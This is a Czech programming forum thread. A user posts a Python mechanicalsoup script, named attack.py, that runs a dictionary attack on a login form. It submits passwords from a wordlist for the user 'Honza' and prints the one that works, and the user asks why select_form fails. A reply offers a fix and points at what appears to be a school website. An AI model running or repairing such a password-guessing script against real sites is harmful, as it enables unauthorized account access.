Geek tričko zdarma Python týden
Tričko zdarma! Stačí před dobitím bodů použít kód TRIKO15. Více informací zde
Pouze tento sleva až 80% na kurzy Python

Diskuze: Slovníkový útok - mechanicalsoup

Aktivity (2)
Avatar
Pavel Soukup
Člen
Avatar
Pavel Soukup:28. ledna 19:29

Ahoj programátoři.
Potřeboval bych pomoci s jedním problémkem, se kterým jsem se setkal v programování v pythonu.
Potřebuji si importovat knihovnu mechanicalsoup, která mi umožní komunikovat se stránkou, ale nefunguje mi select_form(), k selectnutí login formu a načtení jeho inputů.

zde je můj kód.

import mechanicalsoup

stranka = mechanicalsoup.StatefulBrowser()

stranka.open("https:// neco")


hesla = open("slova.txt", "r")

def nacitani():
    for h in hesla:
        stranka.select_form('form[action="login.php"]')
        stranka["nick"] = "Honza"
        stranka["heslo"] = h
        potvrzení = stranka.submit_selected()
        if stranka.get_url() == "https://neco":
            print ("Správné heslo je: " + h)
            break

        else:
            pass

nacitani()

a zde chyba

Traceback (most recent call last):
  File "C:\python\attack.py", line 23, in <module>
    nacitani()
  File "C:\python\attack.py", line 12, in nacitani
    stranka.select_form('form[action="login.php"]')
  File "C:\neco", line 207, in select_form
    raise LinkNotFoundError()
mechanicalsoup.utils.LinkNotFoundError

Vypadá to, že něco chybí v souboru stateful_brow­ser.py, ale to mi přijde nepravděpodobný, když jsem stahoval python z oficiálních stránek, importoval jsem plnou verzi knihovny mechanicalsoup a příkaz select_form() jsem v tomto znění našel na oficiálních stránkách o mechanicalsoup.

Zkusil jsem: Zkoušel jsem již jiné verze pythonu, hledat řešení na internetu, ale nikde jsem nic nenašel.

Chci docílit: Abych to shrnul, potřeboval bych najít řešení toho, proč nemohu použít příkaz select_form, který jsem vzal z oficiálních zdrojů a jak by to šlo opravit.

Děkuji, S pozdravem
Pavel Soukup

 
Odpovědět 28. ledna 19:29
Avatar
Tomáš Kubát:30. ledna 20:49

Ahoj, před tím než budeš selectovat formy by jsi na objektu stranka měl zavolat methodu stranka.get_cu­rrent_page(). Poté by to již mělo fungovat.

stranka.open("https://stolbja16.sps-prosek.cz/VSECHNO/data/public_html/BIT/")
stranka.get_current_page()
Editováno 30. ledna 20:50
 
Nahoru Odpovědět 30. ledna 20:49
Děláme co je v našich silách, aby byly zdejší diskuze co nejkvalitnější. Proto do nich také mohou přispívat pouze registrovaní členové. Pro zapojení do diskuze se přihlas. Pokud ještě nemáš účet, zaregistruj se, je to zdarma.

Zobrazeno 2 zpráv z 2.